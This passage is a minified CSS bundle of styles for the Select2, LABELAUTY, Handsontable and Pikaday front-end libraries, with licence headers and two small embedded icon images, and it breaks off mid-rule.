.select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff}.select2-hidden-accessible{border:0!important;clip:rect(0 0 0 0)!important;height:1px!important;margin:-1px!important;overflow:hidden!important;padding:0!important;position:absolute!important;width:1px!important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:700}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir=rtl] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:#fff;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__placeholder{color:#999;margin-top:5px;float:left}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:700;margin-top:5px;margin-right:10px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:700;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-search--inline,.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__placeholder{float:right}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid #000 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple,.select2-container--default.select2-container--open.select2-container--above .select2-selection--single{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,.select2-container--default.select2-container--open.select2-container--below .select2-selection--single{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:0 0;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:#fff}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top,#fff 50%,#eee 100%);background-image:-o-linear-gradient(top,#fff 50%,#eee 100%);background-image:linear-gradient(to bottom,#fff 50%,#eee 100%);background-repeat:repeat-x}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:700;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top,#eee 50%,#ccc 100%);background-image:-o-linear-gradient(top,#eee 50%,#ccc 100%);background-image:linear-gradient(to bottom,#eee 50%,#ccc 100%);background-repeat:repeat-x}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir=rtl] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:0 0;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top,#fff 0,#eee 50%);background-image:-o-linear-gradient(top,#fff 0,#eee 50%);background-image:linear-gradient(to bottom,#fff 0,#eee 50%);background-repeat:repeat-x}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top,#eee 50%,#fff 100%);background-image:-o-linear-gradient(top,#eee 50%,#fff 100%);background-image:linear-gradient(to bottom,#eee 50%,#fff 100%);background-repeat:repeat-x}.select2-container--classic .select2-selection--multiple{background-color:#fff;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:700;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice{float:right}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb} /*! * LABELAUTY jQuery Plugin Styles * * @file: jquery-labelauty.css * @author: Francisco Neves (@fntneves) * @site: www.francisconeves.com * @license: MIT License */input.labelauty+label ::selection{background-color:rgba(255,255,255,0)}input.labelauty+label ::-moz-selection{background-color:rgba(255,255,255,0)}input.labelauty{display:none!important}input.labelauty+label{display:table;font-size:11px;padding:10px;background-color:#efefef;color:#b3b3b3;cursor:pointer;border-radius:3px 3px 3px 3px;-moz-border-radius:3px 3px 3px 3px;-webkit-border-radius:3px 3px 3px 3px;transition:background-color .25s;-moz-transition:background-color .25s;-webkit-transition:background-color .25s;-o-transition:background-color .25s;-moz-user-select:none;-khtml-user-select:none;-webkit-user-select:none;-o-user-select:none}input.labelauty+label>span.labelauty-checked,input.labelauty+label>span.labelauty-unchecked{display:inline-block;line-height:16px;vertical-align:bottom}input.labelauty+label>span.labelauty-checked-image,input.labelauty+label>span.labelauty-unchecked-image{display:inline-block;width:16px;height:16px;vertical-align:bottom;background-repeat:no-repeat;background-position:left center;transition:background-image .5s linear;-moz-transition:background-image .5s linear;-webkit-transition:background-image .5s linear;-o-transition:background-image .5s linear}input.labelauty+label>span.labelauty-checked-image+span.labelauty-checked,input.labelauty+label>span.labelauty-unchecked-image+span.labelauty-unchecked{margin-left:7px}input.labelauty:not(:checked):not([disabled])+label:hover{background-color:#eaeaea;color:#a7a7a7}input.labelauty:not(:checked)+label>span.labelauty-checked-image{display:none}input.labelauty:not(:checked)+label>span.labelauty-checked{display:none}input.labelauty:checked+label{background-color:#3498db;color:#fff}input.labelauty:checked:not([disabled])+label:hover{background-color:#72c5fd}input.labelauty:checked+label>span.labelauty-unchecked-image{display:none}input.labelauty:checked+label>span.labelauty-unchecked{display:none}input.labelauty:checked+label>span.labelauty-checked{display:inline-block}input.labelauty.no-label:checked+label>span.labelauty-checked{display:block}input.labelauty[disabled]+label{opacity:.5}input.labelauty+label>span.labelauty-unchecked-image{background-image:url( ../images/input-unchecked.png )}input.labelauty+label>span.labelauty-checked-image{background-image:url( ../images/input-checked.png )} @charset "UTF-8";/*! * (The MIT License) * * Copyright (c) 2012-2014 Marcin Warpechowski * Copyright (c) 2015 Handsoncode sp. z o.o. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * 'Software'), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * Version: 6.2.2 * Release date: 19/12/2018 (built at 18/12/2018 14:40:17) */.handsontable .table td,.handsontable .table th{border-top:none}.handsontable tr{background:#fff}.handsontable td{background-color:inherit}.handsontable .table caption+thead tr:first-child td,.handsontable .table caption+thead tr:first-child th,.handsontable .table colgroup+thead tr:first-child td,.handsontable .table colgroup+thead tr:first-child th,.handsontable .table thead:first-child tr:first-child td,.handsontable .table thead:first-child tr:first-child th{border-top:1px solid #ccc}.handsontable .table-bordered{border:0;border-collapse:separate}.handsontable .table-bordered td,.handsontable .table-bordered th{border-left:none}.handsontable .table-bordered td:first-child,.handsontable .table-bordered th:first-child{border-left:1px solid #ccc}.handsontable .table>tbody>tr>td,.handsontable .table>tbody>tr>th,.handsontable .table>tfoot>tr>td,.handsontable .table>tfoot>tr>th,.handsontable .table>thead>tr>td,.handsontable .table>thead>tr>th{line-height:21px;padding:0 4px}.col-lg-1.handsontable,.col-lg-10.handsontable,.col-lg-11.handsontable,.col-lg-12.handsontable,.col-lg-2.handsontable,.col-lg-3.handsontable,.col-lg-4.handsontable,.col-lg-5.handsontable,.col-lg-6.handsontable,.col-lg-7.handsontable,.col-lg-8.handsontable,.col-lg-9.handsontable,.col-md-1.handsontable,.col-md-10.handsontable,.col-md-11.handsontable,.col-md-12.handsontable,.col-md-2.handsontable,.col-md-3.handsontable,.col-md-4.handsontable,.col-md-5.handsontable,.col-md-6.handsontable,.col-md-7.handsontable,.col-md-8.handsontable,.col-md-9.handsontable .col-sm-1.handsontable,.col-sm-10.handsontable,.col-sm-11.handsontable,.col-sm-12.handsontable,.col-sm-2.handsontable,.col-sm-3.handsontable,.col-sm-4.handsontable,.col-sm-5.handsontable,.col-sm-6.handsontable,.col-sm-7.handsontable,.col-sm-8.handsontable,.col-sm-9.handsontable .col-xs-1.handsontable,.col-xs-10.handsontable,.col-xs-11.handsontable,.col-xs-12.handsontable,.col-xs-2.handsontable,.col-xs-3.handsontable,.col-xs-4.handsontable,.col-xs-5.handsontable,.col-xs-6.handsontable,.col-xs-7.handsontable,.col-xs-8.handsontable,.col-xs-9.handsontable{padding-left:0;padding-right:0}.handsontable .table-striped>tbody>tr:nth-of-type(even){background-color:#fff}.handsontable{position:relative}.handsontable .hide{display:none}.handsontable .relative{position:relative}.handsontable.htAutoSize{visibility:hidden;left:-99000px;position:absolute;top:-99000px}.handsontable .wtHider{width:0}.handsontable .wtSpreader{position:relative;width:0;height:auto}.handsontable div,.handsontable input,.handsontable table,.handsontable tbody,.handsontable td,.handsontable textarea,.handsontable th,.handsontable thead{box-sizing:content-box;-webkit-box-sizing:content-box;-moz-box-sizing:content-box}.handsontable input,.handsontable textarea{min-height:initial}.handsontable table.htCore{border-collapse:separate;border-spacing:0;margin:0;border-width:0;table-layout:fixed;width:0;outline-width:0;cursor:default;max-width:none;max-height:none}.handsontable col{width:50px}.handsontable col.rowHeader{width:50px}.handsontable td,.handsontable th{border-top-width:0;border-left-width:0;border-right:1px solid #ccc;border-bottom:1px solid #ccc;height:22px;empty-cells:show;line-height:21px;padding:0 4px 0 4px;background-color:#fff;vertical-align:top;overflow:hidden;outline-width:0;white-space:pre-line;background-clip:padding-box}.handsontable td.htInvalid{background-color:#ff4c42!important}.handsontable td.htNoWrap{white-space:nowrap}.handsontable th:last-child{border-right:1px solid #ccc;border-bottom:1px solid #ccc}.handsontable th.htNoFrame,.handsontable th:first-child.htNoFrame,.handsontable tr:first-child th.htNoFrame{border-left-width:0;background-color:#fff;border-color:#fff}.handsontable .htNoFrame+td,.handsontable .htNoFrame+th,.handsontable td:first-of-type,.handsontable th:first-child,.handsontable th:nth-child(2){border-left:1px solid #ccc}.handsontable.htRowHeaders thead tr th:nth-child(2){border-left:1px solid #ccc}.handsontable tr:first-child td,.handsontable tr:first-child th{border-top:1px solid #ccc}.ht_master:not(.innerBorderLeft):not(.emptyColumns)~.handsontable tbody tr th,.ht_master:not(.innerBorderLeft):not(.emptyColumns)~.handsontable:not(.ht_clone_top) thead tr th:first-child{border-right-width:0}.ht_master:not(.innerBorderTop) thead tr.lastChild th,.ht_master:not(.innerBorderTop) thead tr:last-child th,.ht_master:not(.innerBorderTop)~.handsontable thead tr.lastChild th,.ht_master:not(.innerBorderTop)~.handsontable thead tr:last-child th{border-bottom-width:0}.handsontable th{background-color:#f0f0f0;color:#222;text-align:center;font-weight:400;white-space:nowrap}.handsontable thead th{padding:0}.handsontable th.active{background-color:#ccc}.handsontable thead th .relative{padding:2px 4px}#hot-display-license-info{font-size:10px;color:#323232;padding:5px 0 3px 0;font-family:Helvetica,Arial,sans-serif;text-align:left}.handsontable .manualColumnResizer{position:fixed;top:0;cursor:col-resize;z-index:110;width:5px;height:25px}.handsontable .manualRowResizer{position:fixed;left:0;cursor:row-resize;z-index:110;height:5px;width:50px}.handsontable .manualColumnResizer.active,.handsontable .manualColumnResizer:hover,.handsontable .manualRowResizer.active,.handsontable .manualRowResizer:hover{background-color:#34a9db}.handsontable .manualColumnResizerGuide{position:fixed;right:0;top:0;background-color:#34a9db;display:none;width:0;border-right:1px dashed #777;margin-left:5px}.handsontable .manualRowResizerGuide{position:fixed;left:0;bottom:0;background-color:#34a9db;display:none;height:0;border-bottom:1px dashed #777;margin-top:5px}.handsontable .manualColumnResizerGuide.active,.handsontable .manualRowResizerGuide.active{display:block;z-index:199}.handsontable .columnSorting{position:relative}.handsontable .columnSorting.sortAction:hover{text-decoration:underline;cursor:pointer}.handsontable span.colHeader{display:inline-block;line-height:1.1}.handsontable span.colHeader.columnSorting::before{top:50%;margin-top:-6px;padding-left:8px;position:absolute;right:-9px;content:'';height:10px;width:5px;background-size:contain;background-repeat:no-repeat;background-position-x:right}.handsontable span.colHeader.columnSorting.ascending::before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAoCAMAAADJ7yrpAAAAKlBMVEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKE86IAAAADXRSTlMABBEmRGprlJW72e77tTkTKwAAAFNJREFUeAHtzjkSgCAUBNHPgsoy97+ulGXRqJE5L+xkxoYt2UdsLb5bqFINz+aLuuLn5rIu2RkO3fZpWENimNgiw6iBYRTPMLJjGFxQZ1hxxb/xBI1qC8k39CdKAAAAAElFTkSuQmCC)}.handsontable span.colHeader.columnSorting.descending::before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAoCAMAAADJ7yrpAAAAKlBMVEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKE86IAAAADXRSTlMABBEmRGprlJW72e77tTkTKwAAAFJJREFUeAHtzjkSgCAQRNFmQYUZ7n9dKUvru0TmvPAn3br0QfgdZ5xx6x+rQn23GqTYnq1FDcnuzZIO2WmedVqIRVxgGKEyjNgYRjKGkZ1hFIZ3I70LyM0VtU8AAAAASUVORK5CYII=)}.htGhostTable .htCore span.colHeader.columnSorting:not(.indicatorDisabled)::after{content:'*';display:inline-block;position:relative;padding-right:20px}.handsontable .wtBorder{position:absolute;font-size:0}.handsontable .wtBorder.hidden{display:none!important}.handsontable .wtBorder.current{z-index:10}.handsontable .wtBorder.area{z-index:8}.handsontable .wtBorder.fill{z-index:6}.handsontable td.area,.handsontable td.area-1,.handsontable td.area-2,.handsontable td.area-3,.handsontable td.area-4,.handsontable td.area-5,.handsontable td.area-6,.handsontable td.area-7{position:relative}.handsontable td.area-1:before,.handsontable td.area-2:before,.handsontable td.area-3:before,.handsontable td.area-4:before,.handsontable td.area-5:before,.handsontable td.area-6:before,.handsontable td.area-7:before,.handsontable td.area:before{content:'';position:absolute;top:0;left:0;right:0;bottom:0;background:#005eff}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.handsontable td.area-1:before,.handsontable td.area-2:before,.handsontable td.area-3:before,.handsontable td.area-4:before,.handsontable td.area-5:before,.handsontable td.area-6:before,.handsontable td.area-7:before,.handsontable td.area:before{bottom:-100%}}.handsontable td.area:before{opacity:.1}.handsontable td.area-1:before{opacity:.2}.handsontable td.area-2:before{opacity:.27}.handsontable td.area-3:before{opacity:.35}.handsontable td.area-4:before{opacity:.41}.handsontable td.area-5:before{opacity:.47}.handsontable td.area-6:before{opacity:.54}.handsontable td.area-7:before{opacity:.58}.handsontable tbody th.ht__highlight,.handsontable thead th.ht__highlight{background-color:#dcdcdc}.handsontable tbody th.ht__active_highlight,.handsontable thead th.ht__active_highlight{background-color:#8eb0e7;color:#000}.handsontable .wtBorder.corner{font-size:0;cursor:crosshair}.handsontable .htBorder.htFillBorder{background:red;width:1px;height:1px}.handsontableInput{border:none;outline-width:0;margin:0;padding:1px 5px 0 5px;font-family:inherit;line-height:21px;font-size:inherit;box-shadow:0 0 0 2px #5292f7 inset;resize:none;display:block;color:#000;border-radius:0;background-color:#fff}.handsontableInputHolder{position:absolute;top:0;left:0;z-index:104}.htSelectEditor{-webkit-appearance:menulist-button!important;position:absolute;width:auto}.handsontable .htDimmed{color:#777}.handsontable .htSubmenu{position:relative}.handsontable .htSubmenu :after{content:'\25B6';color:#777;position:absolute;right:5px;font-size:9px}.handsontable .htLeft{text-align:left}.handsontable .htCenter{text-align:center}.handsontable .htRight{text-align:right}.handsontable .htJustify{text-align:justify}.handsontable .htTop{vertical-align:top}.handsontable .htMiddle{vertical-align:middle}.handsontable .htBottom{vertical-align:bottom}.handsontable .htPlaceholder{color:#999}.handsontable .htAutocompleteArrow{float:right;font-size:10px;color:#eee;cursor:default;width:16px;text-align:center}.handsontable td .htAutocompleteArrow:hover{color:#777}.handsontable td.area .htAutocompleteArrow{color:#d3d3d3}.handsontable .htCheckboxRendererInput{display:inline-block;vertical-align:middle}.handsontable .htCheckboxRendererInput.noValue{opacity:.5}.handsontable .htCheckboxRendererLabel{cursor:pointer;display:inline-block;width:100%}.handsontable .handsontable.ht_clone_top .wtHider{padding:0 0 5px 0}.handsontable .autocompleteEditor.handsontable{padding-right:17px}.handsontable .autocompleteEditor.handsontable.htMacScroll{padding-right:15px}.handsontable.listbox{margin:0}.handsontable.listbox .ht_master table{border:1px solid #ccc;border-collapse:separate;background:#fff}.handsontable.listbox td,.handsontable.listbox th,.handsontable.listbox tr:first-child td,.handsontable.listbox tr:first-child th,.handsontable.listbox tr:last-child th{border-color:transparent}.handsontable.listbox td,.handsontable.listbox th{white-space:nowrap;text-overflow:ellipsis}.handsontable.listbox td.htDimmed{cursor:default;color:inherit;font-style:inherit}.handsontable.listbox .wtBorder{visibility:hidden}.handsontable.listbox tr td.current,.handsontable.listbox tr:hover td{background:#eee}.ht_clone_top{z-index:101}.ht_clone_left{z-index:102}.ht_clone_bottom_left_corner,.ht_clone_top_left_corner{z-index:103}.ht_clone_debug{z-index:103}.handsontable td.htSearchResult{background:#fcedd9;color:#583707}.htBordered{border-width:1px}.htBordered.htTopBorderSolid{border-top-style:solid;border-top-color:#000}.htBordered.htRightBorderSolid{border-right-style:solid;border-right-color:#000}.htBordered.htBottomBorderSolid{border-bottom-style:solid;border-bottom-color:#000}.htBordered.htLeftBorderSolid{border-left-style:solid;border-left-color:#000}.handsontable tbody tr th:nth-last-child(2){border-right:1px solid #ccc}.handsontable thead tr:nth-last-child(2) th.htGroupIndicatorContainer{border-bottom:1px solid #ccc;padding-bottom:5px}.ht_clone_top_left_corner thead tr th:nth-last-child(2){border-right:1px solid #ccc}.htCollapseButton{width:10px;height:10px;line-height:10px;text-align:center;border-radius:5px;border:1px solid #f3f3f3;-webkit-box-shadow:1px 1px 3px rgba(0,0,0,.4);box-shadow:1px 1px 3px rgba(0,0,0,.4);cursor:pointer;margin-bottom:3px;position:relative}.htCollapseButton:after{content:"";height:300%;width:1px;display:block;background:#ccc;margin-left:4px;position:absolute;bottom:10px}thead .htCollapseButton{right:5px;position:absolute;top:5px;background:#fff}thead .htCollapseButton:after{height:1px;width:700%;right:10px;top:4px}.handsontable tr th .htExpandButton{position:absolute;width:10px;height:10px;line-height:10px;text-align:center;border-radius:5px;border:1px solid #f3f3f3;-webkit-box-shadow:1px 1px 3px rgba(0,0,0,.4);box-shadow:1px 1px 3px rgba(0,0,0,.4);cursor:pointer;top:0;display:none}.handsontable thead tr th .htExpandButton{top:5px}.handsontable tr th .htExpandButton.clickable{display:block}.collapsibleIndicator{position:absolute;top:50%;transform:translate(0 ,-50%);right:5px;border:1px solid #a6a6a6;line-height:10px;color:#222;border-radius:10px;font-size:10px;width:10px;height:10px;cursor:pointer;-webkit-box-shadow:0 0 0 6px rgba(238,238,238,1);-moz-box-shadow:0 0 0 6px rgba(238,238,238,1);box-shadow:0 0 0 6px rgba(238,238,238,1);background:#eee}.handsontable col.hidden{width:0!important}.handsontable table tr th.lightRightBorder{border-right:1px solid #e6e6e6}.handsontable tr.hidden,.handsontable tr.hidden td,.handsontable tr.hidden th{display:none}.ht_clone_bottom,.ht_clone_left,.ht_clone_top,.ht_master{overflow:hidden}.ht_master .wtHolder{overflow:auto}.handsontable .ht_clone_left thead,.handsontable .ht_master thead,.handsontable .ht_master tr th{visibility:hidden}.ht_clone_bottom .wtHolder,.ht_clone_left .wtHolder,.ht_clone_top .wtHolder{overflow:hidden}.handsontable.mobile,.handsontable.mobile .wtHolder{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent;-webkit-overflow-scrolling:touch}.htMobileEditorContainer{display:none;position:absolute;top:0;width:70%;height:54pt;background:#f8f8f8;border-radius:20px;border:1px solid #ebebeb;z-index:999;box-sizing:border-box;-webkit-box-sizing:border-box;-webkit-text-size-adjust:none}.topLeftSelectionHandle-HitArea:not(.ht_master.topLeftSelectionHandle-HitArea),.topLeftSelectionHandle:not(.ht_master.topLeftSelectionHandle){z-index:9999}.bottomRightSelectionHandle,.bottomRightSelectionHandle-HitArea,.topLeftSelectionHandle,.topLeftSelectionHandle-HitArea{left:-10000px;top:-10000px}.htMobileEditorContainer.active{display:block}.htMobileEditorContainer .inputs{position:absolute;right:210pt;bottom:10pt;top:10pt;left:14px;height:34pt}.htMobileEditorContainer .inputs textarea{font-size:13pt;border:1px solid #a1a1a1;-webkit-appearance:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;position:absolute;left:14px;right:14px;top:0;bottom:0;padding:7pt}.htMobileEditorContainer .cellPointer{position:absolute;top:-13pt;height:0;width:0;left:30px;border-left:13pt solid transparent;border-right:13pt solid transparent;border-bottom:13pt solid #ebebeb}.htMobileEditorContainer .cellPointer.hidden{display:none}.htMobileEditorContainer .cellPointer:before{content:'';display:block;position:absolute;top:2px;height:0;width:0;left:-13pt;border-left:13pt solid transparent;border-right:13pt solid transparent;border-bottom:13pt solid #f8f8f8}.htMobileEditorContainer .moveHandle{position:absolute;top:10pt;left:5px;width:30px;bottom:0;cursor:move;z-index:9999}.htMobileEditorContainer .moveHandle:after{content:"..\A..\A..\A..";white-space:pre;line-height:10px;font-size:20pt;display:inline-block;margin-top:-8px;color:#ebebeb}.htMobileEditorContainer .positionControls{width:205pt;position:absolute;right:5pt;top:0;bottom:0}.htMobileEditorContainer .positionControls>div{width:50pt;height:100%;float:left}.htMobileEditorContainer .positionControls>div:after{content:" ";display:block;width:15pt;height:15pt;text-align:center;line-height:50pt}.htMobileEditorContainer .downButton:after,.htMobileEditorContainer .leftButton:after,.htMobileEditorContainer .rightButton:after,.htMobileEditorContainer .upButton:after{transform-origin:5pt 5pt;-webkit-transform-origin:5pt 5pt;margin:21pt 0 0 21pt}.htMobileEditorContainer .leftButton:after{border-top:2px solid #288ffe;border-left:2px solid #288ffe;-webkit-transform:rotate(-45deg)}.htMobileEditorContainer .leftButton:active:after{border-color:#cfcfcf}.htMobileEditorContainer .rightButton:after{border-top:2px solid #288ffe;border-left:2px solid #288ffe;-webkit-transform:rotate(135deg)}.htMobileEditorContainer .rightButton:active:after{border-color:#cfcfcf}.htMobileEditorContainer .upButton:after{border-top:2px solid #288ffe;border-left:2px solid #288ffe;-webkit-transform:rotate(45deg)}.htMobileEditorContainer .upButton:active:after{border-color:#cfcfcf}.htMobileEditorContainer .downButton:after{border-top:2px solid #288ffe;border-left:2px solid #288ffe;-webkit-transform:rotate(225deg)}.htMobileEditorContainer .downButton:active:after{border-color:#cfcfcf}.handsontable.hide-tween{-webkit-animation:opacity-hide .3s;animation:opacity-hide .3s;animation-fill-mode:forwards;-webkit-animation-fill-mode:forwards}.handsontable.show-tween{-webkit-animation:opacity-show .3s;animation:opacity-show .3s;animation-fill-mode:forwards;-webkit-animation-fill-mode:forwards}/*! * Pikaday * Copyright © 2014 David Bushell | BSD & MIT license | http://dbushell.com/ */.pika-single{z-index:9999;display:block;position:relative;color:#333;background:#fff;border:1px solid #ccc;border-bottom-color:#bbb;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}.pika-single:after,.pika-single:before{content:" ";display:table}.pika-single:after{clear:both}.pika-single.is-hidden{display:none}.pika-single.is-bound{position:absolute;box-shadow:0 5px 15px -5px rgba(0,0,0,.5)}.pika-lendar{float:left;width:240px;margin:8px}.pika-title{position:relative;text-align:center}.pika-label{display:inline-block;position:relative;z-index:9999;overflow:hidden;margin:0;padding:5px 